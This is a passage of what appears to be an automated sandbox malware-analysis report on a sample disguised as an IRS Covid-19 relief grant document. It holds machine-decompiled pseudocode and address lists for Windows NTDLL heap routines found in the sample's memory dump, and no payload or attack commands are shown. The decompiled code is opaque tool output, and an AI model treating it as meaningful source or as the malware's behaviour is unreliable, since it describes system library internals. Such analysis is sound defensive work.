																		 *0x1e35b1e0(_t345, _v28);
																		_t207 =  *_v44();
																		_t291 =  *(_t428 + 4);
																	}
																	goto L74;
																} else {
																	goto L68;
																}
																do {
																	L68:
																	_t298 =  *(_t428 + 8);
																	_t431 = _v20;
																	_v12 = _t298;
																	while(1) {
																		_t347 =  *(_t298 + _t431 * 4);
																		_v24 = _t347;
																		if((_t347 & 0x00000001) != 0) {
																			goto L71;
																		}
																		 *(_t298 + _t431 * 4) =  *_t347;
																		_t300 =  *(_t347 + 4) & _t395;
																		_t398 = _v16;
																		_t353 = _t413 - 0x00000001 & (( *(_t347 + 4) & _t395) >> 0x00000018) + ((( *(_t347 + 4) & _t395) >> 0x00000010 & 0x000000ff) + ((( *(_t347 + 4) & _t395) >> 0x00000008 & 0x000000ff) + ((_t300 & 0x000000ff) + 0x00b15dcb) * 0x00000025) * 0x00000025) * 0x00000025;
																		_t303 = _v24;
																		 *_t303 =  *((intOrPtr*)(_t398 + _t353 * 4));
																		 *((intOrPtr*)(_t398 + _t353 * 4)) = _t303;
																		_t395 = _v32;
																		_t298 = _v12;
																	}
																	L71:
																	_v20 = _t431 + 1;
																	_t428 = _v40;
																} while (_v20 <  *(_t428 + 4) >> 5);
																goto L72;
															} else {
																_t399 = _v24;
																do {
																	_t399 = _t399 + 1;
																	 *_t295 = _t230;
																	_t295 = _t295 + 4;
																} while (_t399 < _t341);
																goto L67;
															}
														}
														_t354 = _t337 | 0xffffffff;
														if(_t413 == 0) {
															L61:
															_t413 = 1 << _t354;
															goto L62;
														} else {
															goto L60;
														}
														do {
															L60:
															_t354 = _t354 + 1;
															_t413 = _t413 >> 1;
														} while (_t413 != 0);
														goto L61;
													}
												}
												_t89 = _t412 + 8; // 0x8
												_t244 = E1E33E7A8(_t89);
												_t289 = _v36;
												if(_t244 == 0) {
													_t412 = 0;
												}
												goto L75;
											}
											_t386 =  *(_t428 + 8) + (_v24 - 0x00000001 & (_v20 & 0x000000ff) + 0x164b2f3f + (((_t323 & 0x000000ff) * 0x00000025 + (_v12 & 0x000000ff)) * 0x00000025 + (_v28 & 0x000000ff)) * 0x00000025) * 4;
											_t323 = _v32;
											while(1) {
												L41:
												_t386 =  *_t386;
												_v12 = _t386;
												if((_t386 & 0x00000001) != 0) {
													break;
												}
												if(_t323 == ( *(_t386 + 4) & _v16)) {
													L45:
													if(_t386 == 0) {
														goto L53;
													}
													if(E1E33E7EB(_t386, _t408) != 0) {
														_t412 = _v12;
														goto L50;
													}
													_t386 = _v12;
													goto L38;
												}
											}
											_t386 = 0;
											_v12 = 0;
											goto L45;
										}
									}
									_t412 = 0;
									goto L77;
								}
								_t38 = _t406 + 8; // 0x8
								_t364 = _t38;
								if(E1E33E7A8(_t38) == 0) {
									_t406 = 0;
								}
								E1E28FA00(_t289, _t364, _t406, _v20);
								goto L77;
							}
							_t24 = _t418 - 1; // -1
							_t385 =  *((intOrPtr*)(_t426 + 8)) + (_t24 & (_v12 & 0x000000ff) + 0x164b2f3f + (((_t316 & 0x000000ff) * 0x00000025 + (_v28 & 0x000000ff)) * 0x00000025 + (_v36 & 0x000000ff)) * 0x00000025) * 4;
							_t316 = _v32;
							L21:
							_t406 = _v24;
							while(1) {
								_t385 =  *_t385;
								_v12 = _t385;
								if((_t385 & 0x00000001) != 0) {
									break;
								}
								if(_t316 == ( *(_t385 + 4) & _t406)) {
									L26:
									if(_t385 == 0) {
										goto L35;
									}
									_t177 = E1E33E7EB(_t385, _v16);
									if(_t177 != 0) {
										_t406 = _v12;
										goto L31;
									}
									_t385 = _v12;
									goto L18;
								}
							}
							_t385 = 0;
							_v12 = 0;
							goto L26;
						}
					}
					_t419 = _t404 - 1;
					if(_t419 == 0) {
						L15:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L16;
					}
					_t420 = _t419 - 1;
					if(_t420 == 0) {
						L14:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L15;
					}
					_t421 = _t420 - 1;
					if(_t421 == 0) {
						L13:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L14;
					}
					_t422 = _t421 - 1;
					if(_t422 == 0) {
						L12:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L13;
					}
					_t423 = _t422 - 1;
					if(_t423 == 0) {
						L11:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L12;
					}
					if(_t423 != 1) {
						goto L17;
					} else {
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L11;
					}
				} else {
					_t401 = _t403 >> 3;
					_t403 = _t403 + _t401 * 0xfffffff8;
					do {
						_t383 = ((((((_t425[1] & 0x000000ff) * 0x25 + (_t425[2] & 0x000000ff)) * 0x25 + (_t425[3] & 0x000000ff)) * 0x25 + (_t425[4] & 0x000000ff)) * 0x25 + (_t425[5] & 0x000000ff)) * 0x25 + (_t425[6] & 0x000000ff)) * 0x25 - _t289 * 0x2fe8ed1f;
						_t310 = ( *_t425 & 0x000000ff) * 0x1a617d0d;
						_t288 = _t425[7] & 0x000000ff;
						_t425 =  &(_t425[8]);
						_t289 = _t310 + _t383 + _t288;
						_t401 = _t401 - 1;
					} while (_t401 != 0);
					goto L3;
				}
			}

0x1e33e833
0x1e33e839
0x1e33e83e
0x1e33e841
0x1e33e848
0x1e33e84b
0x1e33e851
0x1e33e8b2
0x1e33e8b2
0x1e33e8b5
0x1e33e90b
0x1e33e911
0x1e33e913
0x1e33e913
0x1e33e91a
0x1e33e91d
0x1e33e922
0x1e33e924
0x1e33e924
0x1e33e924
0x1e33e92f
0x1e33e933
0x1e33e935
0x1e33e93a
0x1e33e940
0x1e33e948
0x1e33e950
0x1e33e955
0x00000000
0x00000000
0x1e33e957
0x1e33e95c
0x1e33e9cb
0x1e33e9d2
0x1e33e9d4
0x1e33e9f2
0x1e33e9f6
0x1e33ea10
0x1e33ea18
0x1e33ea1a
0x1e33ea1f
0x1e33ea2c
0x1e33ea2d
0x1e33ea2e
0x1e33ea32
0x1e33ea3d
0x1e33ea42
0x1e33ea45
0x1e33ea51
0x1e33ea60
0x1e33ea65
0x1e33ea68
0x1e33ea6a
0x1e33ea6a
0x1e33ea6a
0x1e33ea6f
0x1e33ea76
0x1e33ea7c
0x1e33ea7e
0x1e33ea81
0x1e33ea85
0x1e33ea88
0x1e33ea8c
0x1e33ea8f
0x1e33ea93
0x1e33ea98
0x00000000
0x00000000
0x1e33ea9a
0x1e33ea9d
0x1e33eaa2
0x1e33eb0e
0x1e33eb15
0x1e33eb17
0x1e33eb33
0x1e33eb36
0x1e33eb39
0x1e33eb3f
0x1e33eb45
0x1e33eb4a
0x1e33eb52
0x1e33ecb1
0x1e33ecb9
0x1e33ecbe
0x1e33ecc3
0x1e33ecc6
0x1e33eceb
0x1e33ecee
0x1e33ecf9
0x1e33ecfe
0x1e33ed00
0x1e33ed05
0x1e33ed07
0x1e33ed0a
0x1e33ed0c
0x1e33ed0e
0x1e33ed12
0x1e33ed19
0x1e33ed1e
0x1e33ed24
0x1e33ed2a
0x1e33ed2a
0x1e33ed2c
0x1e33ed3e
0x1e33ed3e
0x1e33eb5a
0x1e33eb62
0x1e33eb69
0x00000000
0x00000000
0x1e33eb6f
0x1e33eb75
0x1e33eb79
0x1e33eb79
0x1e33eb88
0x1e33eb8e
0x1e33eb90
0x1e33eb92
0x1e33eb97
0x1e33ed3f
0x1e33ed45
0x00000000
0x00000000
0x1e33ed4b
0x1e33ed4e
0x00000000
0x1e33eb9d
0x1e33eb9d
0x1e33eb9d
0x1e33eba2
0x1e33ebb5
0x1e33ebbc
0x1e33ebbe
0x1e33ebbe
0x1e33ebc3
0x1e33ebc5
0x1e33ebcb
0x1e33ebd2
0x1e33ebd5
0x1e33ebdb
0x1e33ebdf
0x1e33ebe1
0x1e33ebf0
0x1e33ebf9
0x1e33ec04
0x1e33ec07
0x1e33ec0a
0x1e33ec82
0x1e33ec85
0x1e33ec8b
0x1e33ec91
0x1e33ec93
0x1e33ec96
0x1e33ec9b
0x1e33eca6
0x1e33ecac
0x1e33ecae
0x1e33ecae
0x00000000
0x00000000
0x00000000
0x00000000
0x1e33ec0c
0x1e33ec0c
0x1e33ec0c
0x1e33ec0f
0x1e33ec12
0x1e33ec15
0x1e33ec15
0x1e33ec18
0x1e33ec1e
0x00000000
0x00000000
0x1e33ec22
0x1e33ec28
0x1e33ec4b
0x1e33ec5b
0x1e33ec5d
0x1e33ec63
0x1e33ec65
0x1e33ec68
0x1e33ec6b
0x1e33ec6b
0x1e33ec70
0x1e33ec71
0x1e33ec74
0x1e33ec7d
0x00000000
0x1e33ebe3
0x1e33ebe3
0x1e33ebe6
0x1e33ebe6
0x1e33ebe7
0x1e33ebe9
0x1e33ebec
0x00000000
0x1e33ebe6
0x1e33ebe1
0x1e33eba4
0x1e33eba9
0x1e33ebb0
0x1e33ebb3
0x00000000
0x00000000
0x00000000
0x00000000
0x1e33ebab
0x1e33ebab
0x1e33ebab
0x1e33ebac
0x1e33ebac
0x00000000
0x1e33ebab
0x1e33eb97
0x1e33eb19
0x1e33eb1c
0x1e33eb21
0x1e33eb26
0x1e33eb2c
0x1e33eb2c
0x00000000
0x1e33eb26
0x1e33ead6
0x1e33ead9
0x1e33eadc
0x1e33eadc
0x1e33eadc
0x1e33eade
0x1e33eae4
0x00000000
0x00000000
0x1e33eaee
0x1e33eaf7
0x1e33eaf9
0x00000000
0x00000000
0x1e33eb04
0x1e33eb12
0x00000000
0x1e33eb12
0x1e33eb06
0x00000000
0x1e33eb06
0x1e33eaf0
0x1e33eaf2
0x1e33eaf4
0x00000000
0x1e33eaf4
0x1e33ea6a
0x1e33ea21
0x00000000
0x1e33ea21
0x1e33e9d6
0x1e33e9d6
0x1e33e9e0
0x1e33e9e2
0x1e33e9e2
0x1e33e9e8
0x00000000
0x1e33e9e8
0x1e33e987
0x1e33e98f
0x1e33e992
0x1e33e995
0x1e33e995
0x1e33e998
0x1e33e998
0x1e33e99a
0x1e33e9a0
0x00000000
0x00000000
0x1e33e9a9
0x1e33e9b2
0x1e33e9b4
0x00000000
0x00000000
0x1e33e9ba
0x1e33e9c1
0x1e33e9cf
0x00000000
0x1e33e9cf
0x1e33e9c3
0x00000000
0x1e33e9c3
0x1e33e9ab
0x1e33e9ad
0x1e33e9af
0x00000000
0x1e33e9af
0x1e33e924
0x1e33e8b7
0x1e33e8ba
0x1e33e902
0x1e33e908
0x1e33e90a
0x00000000
0x1e33e90a
0x1e33e8bc
0x1e33e8bf
0x1e33e8f9
0x1e33e8ff
0x1e33e901
0x00000000
0x1e33e901
0x1e33e8c1
0x1e33e8c4
0x1e33e8f0
0x1e33e8f6
0x1e33e8f8
0x00000000
0x1e33e8f8
0x1e33e8c6
0x1e33e8c9
0x1e33e8e7
0x1e33e8ed
0x1e33e8ef
0x00000000
0x1e33e8ef
0x1e33e8cb
0x1e33e8ce
0x1e33e8de
0x1e33e8e4
0x1e33e8e6
0x00000000
0x1e33e8e6
0x1e33e8d3
0x00000000
0x1e33e8d5
0x1e33e8db
0x1e33e8dd
0x00000000
0x1e33e8dd
0x1e33e853
0x1e33e855
0x1e33e85b
0x1e33e85d
0x1e33e897
0x1e33e89c
0x1e33e8a2
0x1e33e8a6
0x1e33e8ab
0x1e33e8ad
0x1e33e8ad
0x00000000
0x1e33e85d

APIs

RtlDebugPrintTimes.NTDLL ref: 1E33EA10
RtlDebugPrintTimes.NTDLL ref: 1E33ED24

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: ea8b5b873dd64c281dd33cbea4768fa45533730637bd43f76bcb31c49ba90544
Instruction ID: fe1675b3dee79ce79f03d2444789501cd4e400252791b30706fd5219b1c646fd
Opcode Fuzzy Hash: ea8b5b873dd64c281dd33cbea4768fa45533730637bd43f76bcb31c49ba90544
Instruction Fuzzy Hash: 2E02A472E007568FCB18CF6AC8D1A7EBBF6AF88201725466DE456DB780D734E941CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1E28A830, Relevance: 5.4, Strings: 4, Instructions: 350
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E1E28A830(intOrPtr __ecx, signed int __edx, signed short _a4) {
				void* _v5;
				signed short _v12;
				intOrPtr _v16;
				signed int _v20;
				signed short _v24;
				signed short _v28;
				signed int _v32;
				signed short _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				signed short* _v52;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t131;
				signed char _t134;
				signed int _t138;
				char _t141;
				signed short _t142;
				void* _t146;
				signed short _t147;
				intOrPtr* _t149;
				intOrPtr _t156;
				signed int _t167;
				signed int _t168;
				signed short* _t173;
				signed short _t174;
				intOrPtr* _t182;
				signed short _t184;
				intOrPtr* _t187;
				intOrPtr _t197;
				intOrPtr _t206;
				intOrPtr _t210;
				signed short _t211;
				intOrPtr* _t212;
				signed short _t214;
				signed int _t216;
				intOrPtr _t217;
				signed char _t225;
				signed short _t235;
				signed int _t237;
				intOrPtr* _t238;
				signed int _t242;
				unsigned int _t245;
				signed int _t251;
				intOrPtr* _t252;
				signed int _t253;
				intOrPtr* _t255;
				signed int _t256;
				void* _t257;
				void* _t260;

				_t256 = __edx;
				_t206 = __ecx;
				_t235 = _a4;
				_v44 = __ecx;
				_v24 = _t235;
				if(_t235 == 0) {
					L41:
					return _t131;
				}
				_t251 = ( *(__edx + 4) ^  *(__ecx + 0x54)) & 0x0000ffff;
				if(_t251 == 0) {
					__eflags =  *0x1e358748 - 1;
					if( *0x1e358748 >= 1) {
						__eflags =  *(__edx + 2) & 0x00000008;
						if(( *(__edx + 2) & 0x00000008) == 0) {
							_t110 = _t256 + 0xfff; // 0xfe7
							__eflags = (_t110 & 0xfffff000) - __edx;
							if((_t110 & 0xfffff000) != __edx) {
								_t197 =  *[fs:0x30];
								__eflags =  *(_t197 + 0xc);
								if( *(_t197 + 0xc) == 0) {
									_push("HEAP: ");
									E1E26B150();
									_t260 = _t257 + 4;
								} else {
									E1E26B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									_t260 = _t257 + 8;
								}
								_push("((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))");
								E1E26B150();
								_t257 = _t260 + 4;
								__eflags =  *0x1e357bc8;
								if(__eflags == 0) {
									E1E322073(_t206, 1, _t251, __eflags);
								}
								_t235 = _v24;
							}
						}
					}
				}
				_t134 =  *((intOrPtr*)(_t256 + 6));
				if(_t134 == 0) {
					_t210 = _t206;
					_v48 = _t206;
				} else {
					_t210 = (_t256 & 0xffff0000) - ((_t134 & 0x000000ff) << 0x10) + 0x10000;
					_v48 = _t210;
				}
				_v5 =  *(_t256 + 2);
				do {
					if(_t235 > 0xfe00) {
						_v12 = 0xfe00;
						__eflags = _t235 - 0xfe01;
						if(_t235 == 0xfe01) {
							_v12 = 0xfdf0;
						}
						_t138 = 0;
					} else {
						_v12 = _t235 & 0x0000ffff;
						_t138 = _v5;
					}
					 *(_t256 + 2) = _t138;
					 *(_t256 + 4) =  *(_t206 + 0x54) ^ _t251;
					_t236 =  *((intOrPtr*)(_t210 + 0x18));
					if( *((intOrPtr*)(_t210 + 0x18)) == _t210) {
						_t141 = 0;
					} else {
						_t141 = (_t256 - _t210 >> 0x10) + 1;
						_v40 = _t141;
						if(_t141 >= 0xfe) {
							_push(_t210);
							E1E32A80D(_t236, _t256, _t210, 0);
							_t141 = _v40;
						}
					}
					 *(_t256 + 2) =  *(_t256 + 2) & 0x000000f0;
					 *((char*)(_t256 + 6)) = _t141;
					_t142 = _v12;
					 *_t256 = _t142;
					 *(_t256 + 3) = 0;
					_t211 = _t142 & 0x0000ffff;
					 *((char*)(_t256 + 7)) = 0;
					_v20 = _t211;
					if(( *(_t206 + 0x40) & 0x00000040) != 0) {
						_t119 = _t256 + 0x10; // -8
						E1E2BD5E0(_t119, _t211 * 8 - 0x10, 0xfeeefeee);
						 *(_t256 + 2) =  *(_t256 + 2) | 0x00000004;
						_t211 = _v20;
					}
					_t252 =  *((intOrPtr*)(_t206 + 0xb4));
					if(_t252 == 0) {
						L56:
						_t212 =  *((intOrPtr*)(_t206 + 0xc0));
						_t146 = _t206 + 0xc0;
						goto L19;
					} else {
						if(_t211 <  *((intOrPtr*)(_t252 + 4))) {
							L15:
							_t185 = _t211;
							goto L17;
						} else {
							while(1) {
								_t187 =  *_t252;
								if(_t187 == 0) {
									_t185 =  *((intOrPtr*)(_t252 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t252 + 4)) - 1;
									goto L17;
								}
								_t252 = _t187;
								if(_t211 >=  *((intOrPtr*)(_t252 + 4))) {
									continue;
								}
								goto L15;
							}
							while(1) {
								L17:
								_t212 = E1E28AB40(_t206, _t252, 1, _t185, _t211);
								if(_t212 != 0) {
									_t146 = _t206 + 0xc0;
									break;
								}
								_t252 =  *_t252;
								_t211 = _v20;
								_t185 =  *(_t252 + 0x14);
							}
							L19:
							if(_t146 != _t212) {
								_t237 =  *(_t206 + 0x4c);
								_t253 = _v20;
								while(1) {
									__eflags = _t237;
									if(_t237 == 0) {
										_t147 =  *(_t212 - 8) & 0x0000ffff;
									} else {
										_t184 =  *(_t212 - 8);
										_t237 =  *(_t206 + 0x4c);
										__eflags = _t184 & _t237;
										if((_t184 & _t237) != 0) {
											_t184 = _t184 ^  *(_t206 + 0x50);
											__eflags = _t184;
										}
										_t147 = _t184 & 0x0000ffff;
									}
									__eflags = _t253 - (_t147 & 0x0000ffff);
									if(_t253 <= (_t147 & 0x0000ffff)) {
										goto L20;
									}
									_t212 =  *_t212;
									__eflags = _t206 + 0xc0 - _t212;
									if(_t206 + 0xc0 != _t212) {
										continue;
									} else {
										goto L20;
									}
									goto L56;
								}
							}
							L20:
							_t149 =  *((intOrPtr*)(_t212 + 4));
							_t33 = _t256 + 8; // -16
							_t238 = _t33;
							_t254 =  *_t149;
							if( *_t149 != _t212) {
								_push(_t212);
								E1E32A80D(0, _t212, 0, _t254);
							} else {
								 *_t238 = _t212;
								 *((intOrPtr*)(_t238 + 4)) = _t149;
								 *_t149 = _t238;
								 *((intOrPtr*)(_t212 + 4)) = _t238;
							}
							 *((intOrPtr*)(_t206 + 0x74)) =  *((intOrPtr*)(_t206 + 0x74)) + ( *_t256 & 0x0000ffff);
							_t255 =  *((intOrPtr*)(_t206 + 0xb4));
							if(_t255 == 0) {
								L36:
								if( *(_t206 + 0x4c) != 0) {
									 *(_t256 + 3) =  *(_t256 + 1) ^  *(_t256 + 2) ^  *_t256;
									 *_t256 =  *_t256 ^  *(_t206 + 0x50);
								}
								_t210 = _v48;
								_t251 = _v12 & 0x0000ffff;
								_t131 = _v20;
								_t235 = _v24 - _t131;
								_v24 = _t235;
								_t256 = _t256 + _t131 * 8;
								if(_t256 >=  *((intOrPtr*)(_t210 + 0x28))) {
									goto L41;
								} else {
									goto L39;
								}
							} else {
								_t216 =  *_t256 & 0x0000ffff;
								_v28 = _t216;
								if(_t216 <  *((intOrPtr*)(_t255 + 4))) {
									L28:
									_t242 = _t216 -  *((intOrPtr*)(_t255 + 0x14));
									_v32 = _t242;
									if( *((intOrPtr*)(_t255 + 8)) != 0) {
										_t167 = _t242 + _t242;
									} else {
										_t167 = _t242;
									}
									 *((intOrPtr*)(_t255 + 0xc)) =  *((intOrPtr*)(_t255 + 0xc)) + 1;
									_t168 = _t167 << 2;
									_v40 = _t168;
									_t206 = _v44;
									_v16 =  *((intOrPtr*)(_t168 +  *((intOrPtr*)(_t255 + 0x20))));
									if(_t216 ==  *((intOrPtr*)(_t255 + 4)) - 1) {
										 *((intOrPtr*)(_t255 + 0x10)) =  *((intOrPtr*)(_t255 + 0x10)) + 1;
									}
									_t217 = _v16;
									if(_t217 != 0) {
										_t173 = _t217 - 8;
										_v52 = _t173;
										_t174 =  *_t173;
										__eflags =  *(_t206 + 0x4c);
										if( *(_t206 + 0x4c) != 0) {
											_t245 =  *(_t206 + 0x50) ^ _t174;
											_v36 = _t245;
											_t225 = _t245 >> 0x00000010 ^ _t245 >> 0x00000008 ^ _t245;
											__eflags = _t245 >> 0x18 - _t225;
											if(_t245 >> 0x18 != _t225) {
												_push(_t225);
												E1E32A80D(_t206, _v52, 0, 0);
											}
											_t174 = _v36;
											_t217 = _v16;
											_t242 = _v32;
										}
										_v28 = _v28 - (_t174 & 0x0000ffff);
										__eflags = _v28;
										if(_v28 > 0) {
											goto L34;
										} else {
											goto L33;
										}
									} else {
										L33:
										_t58 = _t256 + 8; // -16
										 *((intOrPtr*)(_v40 +  *((intOrPtr*)(_t255 + 0x20)))) = _t58;
										_t206 = _v44;
										_t217 = _v16;
										L34:
										if(_t217 == 0) {
											asm("bts eax, edx");
										}
										goto L36;
									}
								} else {
									goto L24;
								}
								while(1) {
									L24:
									_t182 =  *_t255;
									if(_t182 == 0) {
										_t216 =  *((intOrPtr*)(_t255 + 4)) - 1;
										__eflags = _t216;
										goto L28;
									}
									_t255 = _t182;
									if(_t216 >=  *((intOrPtr*)(_t255 + 4))) {
										continue;
									} else {
										goto L28;
									}
								}
								goto L28;
							}
						}
					}
					L39:
				} while (_t235 != 0);
				_t214 = _v12;
				_t131 =  *(_t206 + 0x54) ^ _t214;
				 *(_t256 + 4) = _t131;
				if(_t214 == 0) {
					__eflags =  *0x1e358748 - 1;
					if( *0x1e358748 >= 1) {
						_t127 = _t256 + 0xfff; // 0xfff
						_t131 = _t127 & 0xfffff000;
						__eflags = _t131 - _t256;
						if(_t131 != _t256) {
							_t156 =  *[fs:0x30];
							__eflags =  *(_t156 + 0xc);
							if( *(_t156 + 0xc) == 0) {
								_push("HEAP: ");
								E1E26B150();
							} else {
								E1E26B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock");
							_t131 = E1E26B150();
							__eflags =  *0x1e357bc8;
							if(__eflags == 0) {
								_t131 = E1E322073(_t206, 1, _t251, __eflags);
							}
						}
					}
				}
				goto L41;
			}

0x1e28a83a
0x1e28a83c
0x1e28a83e
0x1e28a841
0x1e28a844
0x1e28a84a
0x1e28aa53
0x1e28aa59
0x1e28aa59
0x1e28a858
0x1e28a85e
0x1e28aaf5
0x1e28aafc
0x1e2d229e
0x1e2d22a2
0x1e2d22a8
0x1e2d22b3
0x1e2d22b5
0x1e2d22bb
0x1e2d22c1
0x1e2d22c5
0x1e2d22e6
0x1e2d22eb
0x1e2d22f0
0x1e2d22c7
0x1e2d22dc
0x1e2d22e1
0x1e2d22e1
0x1e2d22f3
0x1e2d22f8
0x1e2d22fd
0x1e2d2300
0x1e2d2307
0x1e2d230e
0x1e2d230e
0x1e2d2313
0x1e2d2313
0x1e2d22b5
0x1e2d22a2
0x1e28aafc
0x1e28a864
0x1e28a869
0x1e28aa5c
0x1e28aa5e
0x1e28a86f
0x1e28a87f
0x1e28a885
0x1e28a885
0x1e28a88b
0x1e28a890
0x1e28a896
0x1e28ab0c
0x1e28ab0f
0x1e28ab15
0x1e2d2320
0x1e2d2320
0x1e28ab1b
0x1e28a89c
0x1e28a89f
0x1e28a8a2
0x1e28a8a2
0x1e28a8a5
0x1e28a8af
0x1e28a8b3
0x1e28a8b8
0x1e28aa66
0x1e28a8be
0x1e28a8c5
0x1e28a8c6
0x1e28a8ce
0x1e2d2328
0x1e2d2332
0x1e2d2337
0x1e2d2337
0x1e28a8ce
0x1e28a8d4
0x1e28a8d8
0x1e28a8db
0x1e28a8de
0x1e28a8e1
0x1e28a8e5
0x1e28a8e8
0x1e28a8f0
0x1e28a8f3
0x1e2d234c
0x1e2d2350
0x1e2d2355
0x1e2d2359
0x1e2d2359
0x1e28a8f9
0x1e28a901
0x1e28aae4
0x1e28aae4
0x1e28aaea
0x00000000
0x1e28a907
0x1e28a90a
0x1e28a91d
0x1e28a91d
0x00000000
0x1e28a910
0x1e28a910
0x1e28a910
0x1e28a914
0x1e28a924
0x1e28a924
0x1e28a924
0x1e28a924
0x1e28a916
0x1e28a91b
0x00000000
0x00000000
0x00000000
0x1e28a91b
0x1e28a925
0x1e28a925
0x1e28a932
0x1e28a936
0x1e28a93c
0x1e28a93c
0x1e28a93c
0x1e28ab22
0x1e28ab24
0x1e28ab27
0x1e28ab27
0x1e28a942
0x1e28a944
0x1e28aaba
0x1e28aabd
0x1e28aac0
0x1e28aac0
0x1e28aac2
0x1e28ab2f
0x1e28aac4
0x1e28aac4
0x1e28aac7
0x1e28aaca
0x1e28aacc
0x1e28aace
0x1e28aace
0x1e28aace
0x1e28aad1
0x1e28aad1
0x1e28aad7
0x1e28aad9
0x00000000
0x00000000
0x1e2d2361
0x1e2d2369
0x1e2d236b
0x00000000
0x1e2d2371
0x00000000
0x1e2d2371
0x00000000
0x1e2d236b
0x1e28aac0
0x1e28a94a
0x1e28a94a
0x1e28a94d
0x1e28a94d
0x1e28a950
0x1e28a954
0x1e2d2376
0x1e2d2380
0x1e28a95a
0x1e28a95a
0x1e28a95c
0x1e28a95f
0x1e28a961
0x1e28a961
0x1e28a967
0x1e28a96a
0x1e28a972
0x1e28aa02
0x1e28aa06
0x1e28aa10
0x1e28aa16
0x1e28aa16
0x1e28aa1b
0x1e28aa21
0x1e28aa24
0x1e28aa27
0x1e28aa29
0x1e28aa2c
0x1e28aa32
0x00000000
0x00000000
0x00000000
0x00000000
0x1e28a978
0x1e28a978
0x1e28a97b
0x1e28a981
0x1e28a996
0x1e28a998
0x1e28a99f
0x1e28a9a2
0x1e2d238a
0x1e28a9a8
0x1e28a9a8
0x1e28a9a8
0x1e28a9aa
0x1e28a9ad
0x1e28a9b0
0x1e28a9bb
0x1e28a9be
0x1e28a9c7
0x1e28a9c9
0x1e28a9c9
0x1e28a9cc
0x1e28a9d1
0x1e28aa6d
0x1e28aa70
0x1e28aa73
0x1e28aa75
0x1e28aa79
0x1e28aa7e
0x1e28aa82
0x1e28aa8f
0x1e28aa94
0x1e28aa96
0x1e2d2392
0x1e2d23a1
0x1e2d23a1
0x1e28aa9c
0x1e28aa9f
0x1e28aaa2
0x1e28aaa2
0x1e28aaa8
0x1e28aaab
0x1e28aaaf
0x00000000
0x1e28aab5
0x00000000
0x1e28aab5
0x1e28a9d7
0x1e28a9d7
0x1e28a9da
0x1e28a9e0
0x1e28a9e3
0x1e28a9e6
0x1e28a9e9
0x1e28a9eb
0x1e28a9fd
0x1e28a9fd
0x00000000
0x1e28a9eb
0x00000000
0x00000000
0x00000000
0x1e28a983
0x1e28a983
0x1e28a983
0x1e28a987
0x1e28a995
0x1e28a995
0x1e28a995
0x1e28a995
0x1e28a989
0x1e28a98e
0x00000000
0x1e28a990
0x00000000
0x1e28a990
0x1e28a98e
0x00000000
0x1e28a983
0x1e28a972
0x1e28a90a
0x1e28aa34
0x1e28aa34
0x1e28aa40
0x1e28aa43
0x1e28aa46
0x1e28aa4d
0x1e2d23ab
0x1e2d23b2
0x1e2d23b8
0x1e2d23be
0x1e2d23c3
0x1e2d23c5
0x1e2d23cb
0x1e2d23d1
0x1e2d23d5
0x1e2d23f6
0x1e2d23fb
0x1e2d23d7
0x1e2d23ec
0x1e2d23f1
0x1e2d2403
0x1e2d2408
0x1e2d2410
0x1e2d2417
0x1e2d2422
0x1e2d2422
0x1e2d2417
0x1e2d23c5
0x1e2d23b2
0x00000000

Strings

ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock, xrefs: 1E2D2403
HEAP[%wZ]: , xrefs: 1E2D22D7, 1E2D23E7
HEAP: , xrefs: 1E2D22E6, 1E2D23F6
((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)), xrefs: 1E2D22F3

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID: ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))$HEAP: $HEAP[%wZ]: $ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock
API String ID: 0-1657114761
Opcode ID: 802e8048eb7525f4e01e5a0da379a1f6ca3bb06186c8056b384dac083fce82bf
Instruction ID: f0c9429c7929ce2b48b1a6ec42a6ea2b7ef34cf8d3db29df0ec823c005f9c9be
